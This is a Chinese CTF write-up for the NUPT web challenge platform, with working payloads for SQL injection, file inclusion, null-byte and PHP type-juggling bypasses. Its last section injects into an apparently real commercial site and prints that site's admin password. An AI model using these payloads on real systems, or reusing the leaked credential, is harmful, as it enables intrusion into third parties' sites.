p0's blog | 破 关注网络安全
南京邮电大学网络攻防平台web writeup
发表于: | 分类: CTF | 评论:0 | 阅读: 3330

平台地址:http://ctf.nuptsast.com/
<h3>签到题:</h3>
查看源代码的flag:nctf{flag_admiaanaaaaaaaaaaa}
<h3>签到2:</h3>
post提交
input标签限制了最大长度10,口令长度为11

签到2.png

姿势:

签到22.png

<h3>md5 collision:</h3>
php弱类型,随便找一个md5加密后是0e开头的提交即可:

md5 collision.png

<h3>这题不是WEB:</h3>
一张图片,notepad++打开,文件尾发现flag

这题不是WEB.png

<h3>层层递进:</h3>
一开始以为社工,骗我关注了微博==
管他什么的,先扫一下目录,发现404.html
查看源代码getflag

层层递进.png

<h3>AAencode:</h3>
js加密,直接扔控制台

AAencode.png

<h3>单身二十年:</h3>
js window.location页面转跳
正确姿势:从源代码打开

单身二十年.png

得到flag

单身二十年2.png

<h3>你从哪里来:</h3>
修改Referer头

你从哪里来.png

<h3>php decode:</h3>
把eval改为echo输出一下既得flag

<?php
function CLsI($ZzvSWE) {

    $ZzvSWE = gzinflate(base64_decode($ZzvSWE));

    for ($i = 0; $i < strlen($ZzvSWE); $i++) {

        $ZzvSWE[$i] = chr(ord($ZzvSWE[$i]) - 1);

    }

    return $ZzvSWE;

}
echo CLsI("+7DnQGFmYVZ+eoGmlg0fd3puUoZ1fkppek1GdVZhQnJSSZq5aUImGNQBAA==");

?>

php decode.png

<h3>文件包含:</h3>
利用php流filter
poc:<pre>http://4.chinalover.sinaapp.com/web7/index.php?file=php://filter/convert.base64-encode/resource=index.php</pre>

文件包含.png

base64解密得flag:<pre>nctf{edulcni_elif_lacol_si_siht}</pre>
TIPS:http://drops.wooyun.org/tips/3827(PS:乌云关闭,其他地方查)

<h3>单身一百年也没用:</h3>
302转跳

单身一百年也没用.png

<h3>Download~!:</h3>
任意文件下载漏洞

先下载download.php:<pre>http://way.nuptzj.cn/web6/download.php?url=ZG93bmxvYWQucGhw<;/pre>
审计发现hereiskey.php,下载得flag

Download~!.png

<h3>COOKIE:</h3>

修改cookie,login由0改为1,得flag

COOKIE.png

<h3>MYSQL:</h3>

首先打开robots.txt,代码审计

<?php
if($_GET[id]) {
   mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
  mysql_select_db(SAE_MYSQL_DB);
  $id = intval($_GET[id]);
  $query = @mysql_fetch_array(mysql_query("select content from ctf2 where id='$id'"));
  if ($_GET[id]==1024) {
      echo "<p>no! try again</p>";
  }
  else{
    echo($query[content]);
  }
}
?>

一开始以为flag在1-1024之间那,写了个脚本,啥也没跑出来
会头看了一下,flag应该就在在1024哪里,但if ($_GET[id]==1024)直接输出内容,想办法绕过
重点在intval这个函数,百度得知这个函数对小数处理有问题,提交id=1024.1绕过,拿到flag

MYSQL.png

<h3>sql injection 3:</h3>

过滤了单引号,考虑宽字节,的确宽字节注入

sql injection 3.png

注入语句:

http://115.28.150.176/sqli/index.php?id=1%df%27 order by 2%23
http://115.28.150.176/sqli/index.php?id=1%df%27 order by 3%23
http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT 1,2%23
http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT database(),2%23
http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT group_concat(table_name),2 from information_schema.tables where table_schema=0x73716c6931%23
http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT group_concat(column_name),2 from information_schema.columns where table_name=0x666c6167%23
http://115.28.150.176/sqli/index.php?id=-1%df%27 UNION SELECT fl4g,2 from flag%23
拿到flag: sql injection 32.png <h3>/x00:</h3> view-source: if (isset ($_GET['nctf'])) { if (@ereg ("^[1-9]+$", $_GET['nctf']) === FALSE) echo '必须输入数字才行'; else if (strpos ($_GET['nctf'], '#biubiubiu') !== FALSE) die('Flag: '.$flag); else echo '骚年,继续努力吧啊~'; } 代码审计,满足条件$_GET['nctf']全为数字,并且$_GET['nctf']含有'#biubiubiu'字符串 对于ereg()这个函数存在NULL截断漏洞,所以构造payload:
nctf=nctf=11%00#biubiubiu

绕过了ereg,但是没有输出flag,将#进行urlencode提交得到flag

00.png

<h3>bypass again:</h3>

<?php
if (isset($_GET['a']) and isset($_GET['b'])) {
    if ($_GET['a'] != $_GET['b'])
        if (md5($_GET['a']) === md5($_GET['b']))
            die('Flag: '.$flag);
        else
            print 'Wrong.';
        }

php弱类型,md5加密后的比较是用的三个等号,三个等号表示全等于,不但数值一样,而且类型也相同,不考虑弱类型。
所以利用数组绕过,payload:a[0]=s878926199a&b[1]=s878926199a

bypass again.png

<h3>变量覆盖:</h3>

代码审计:

变量覆盖.png

extract()函数变量覆盖,可同时覆盖$pass和$thepassword_123
构造payload:<pre>pass=1&thepassword_123=1</pre>
即可get flag

<h3>PHP是世界上最好的语言</h3>

查看网页源代码:

<?php
if(eregi("hackerDJ",$_GET[id])) {
  echo("<p>not allowed!</p>");
  exit();
}

$_GET[id] = urldecode($_GET[id]);
if($_GET[id] == "hackerDJ")
{
  echo "<p>Access granted!</p>";
  echo "<p>flag: *****************} </p>";
}
?>

这道题目的问题在于urldecode(),开发者可能认为传递过来的$_GET[id]没有进行url编码,但是实际上已经经过了url的编码。那么这道题目只需要将id=hackerDJ进行两次url编码即可。最终的payload为:
http://way.nuptzj.cn/php/index.php?id=%2568%2561%2563%256b%2565%2572%2544%254a

<h3>伪装者</h3>

题目提示:

不是本地登陆你还想要flag?

根据提示需要本地登陆,那么就需要修改请求头了。增加请求头 X-Forwarded-For: 127.0.0.1 就可以通过验证拿到flag了。

<h3>上传绕过</h3>

00截断,burpsuite抓包,截断上传php文件即可

<h3>SQL注入1</h3>

Source:

<?php
if($_POST[user] && $_POST[pass]) {
    mysql_connect(SAE_MYSQL_HOST_M . ':' . SAE_MYSQL_PORT,SAE_MYSQL_USER,SAE_MYSQL_PASS);
    mysql_select_db(SAE_MYSQL_DB);
    $user = trim($_POST[user]);
    $pass = md5(trim($_POST[pass]));
    $sql="select user from ctf where (user='".$user."') and (pw='".$pass."')";
        echo '</br>'.$sql;
    $query = mysql_fetch_array(mysql_query($sql));
    if($query[user]=="admin") {
        echo "<p>Logged in! flag:******************** </p>";
    }
    if($query[user] != "admin") {
        echo("<p>You are not admin!</p>");
    }
}
echo $query[user];
?>

一个入门级的SQL注入的例子。payload如下:
user=admin') or ('1'='1&pass=Password

<h3>pass check</h3>

Source:

<?php
    $pass=@$_POST['pass'];
    $pass1=*;//被隐藏起来的密码
    if(isset($pass))    {
    if(@!strcmp($pass,$pass1)){
        echo "flag:nctf{*}";
    } else {
        echo "the pass is wrong!";
    }
    } else {
        echo "please input pass!";
    }
?>

这道题目中使用了strcmp()函数来比较pass和pass1的值是否相等。但是strcmp()同样存在漏洞。关于strcmp的漏洞网上有很多,这里截取了网上的一段分析:

strcmp() 函数比较两个字符串。

该函数返回:

0 - 如果两个字符串相等;<0 -="" 如果="" string1="" 小于="" string2;="">0 - 如果 string1 大于 string2

这里的strcmp函数实际上是将两个变量转换成ascii 然后做数学减法,返回一个int的差值。

也就是说键入两个相同的字符串进行比较得到的结果就是0,那么如果让数组和字符串比较呢?

这时候php返回了null!

那么这道题目就可以将pass以一个数组的方式传入。payload为:
pass[]=1

<h3>起名字真难</h3>

Source:

<?php
function noother_says_correct($number)  {
    $one = ord('1');
    $nine = ord('9');
    for ($i = 0; $i < strlen($number); $i++) {
        $digit = ord($number{$i});
        if ( ($digit >= $one) && ($digit <= $nine) ){
            return false;
        }
    }
    return $number == '54975581388';
}
$flag='*';
if(noother_says_correct($_GET['key']))
    echo $flag;
else
    echo 'access denied';
?>

这道题目看似没有办法,但是想到可以传入16进制,那么问题就解决了。所以payload为:
http://chinalover.sinaapp.com/web12/index.php?key=0xccccccccc

<h3>密码重置</h3>
前端限制了输入框的输入,不用管,直接发送post请求即可,另外get参数user1=Y3RmdXNlcg== 为ctfuser的base64加密,改为admin的base64加密。所以payload为:
http://nctf.nuptzj.cn/web13/index.php?user1=YWRtaW4= post数据为user=admin&newpass=123&vcode=1234

<h3>注入实战1</h3>

语句:

http://www.backstagecommerce.ca/services.php?id=4 order by 19 
http://www.backstagecommerce.ca/services.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 
http://www.backstagecommerce.ca/services.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,group_concat(table_name),12,13,14,15,16,17,18,19 from information_schema.tables where table_schema=database() 
http://www.backstagecommerce.ca/services.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,group_concat(column_name),12,13,14,15,16,17,18,19 from information_schema.columns where table_name='users' 
http://www.backstagecommerce.ca/services.php?id=-1 union select 1,2,3,4,5,6,7,8,9,10,group_concat(password),12,13,14,15,16,17,18,19 from users
得到管理员的密码是BSCmarketing24。 最后的flag就是BSCmarketing24的md5值。 [1]: http://p0sec.net/usr/uploads/2016/08/3707774730.png [2]: http://p0sec.net/usr/uploads/2016/08/2686896545.png [3]: http://p0sec.net/usr/uploads/2016/08/1341936116.png [4]: http://p0sec.net/usr/uploads/2016/08/84913241.png [5]: http://p0sec.net/usr/uploads/2016/08/4271114955.png [6]: http://p0sec.net/usr/uploads/2016/08/3165015118.png [7]: http://p0sec.net/usr/uploads/2016/08/1612551375.png [8]: http://p0sec.net/usr/uploads/2016/08/3971782031.png [9]: http://p0sec.net/usr/uploads/2016/08/3111535860.png [10]: http://p0sec.net/usr/uploads/2016/08/2460727171.png [11]: http://p0sec.net/usr/uploads/2016/08/2984612820.png [12]: http://p0sec.net/usr/uploads/2016/08/126915852.png [13]: http://p0sec.net/usr/uploads/2016/08/3344032202.png [14]: http://p0sec.net/usr/uploads/2016/08/626849145.png [15]: http://p0sec.net/usr/uploads/2016/08/95602783.png [16]: http://p0sec.net/usr/uploads/2016/08/3468957126.png [17]: http://p0sec.net/usr/uploads/2016/08/3803193172.png [18]: http://p0sec.net/usr/uploads/2016/08/4250595875.png [19]: http://p0sec.net/usr/uploads/2016/08/2884995170.png [20]: http://p0sec.net/usr/uploads/2016/08/317340304.png

著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/56/
来源:https://p0sec.net/

添加新评论

TOP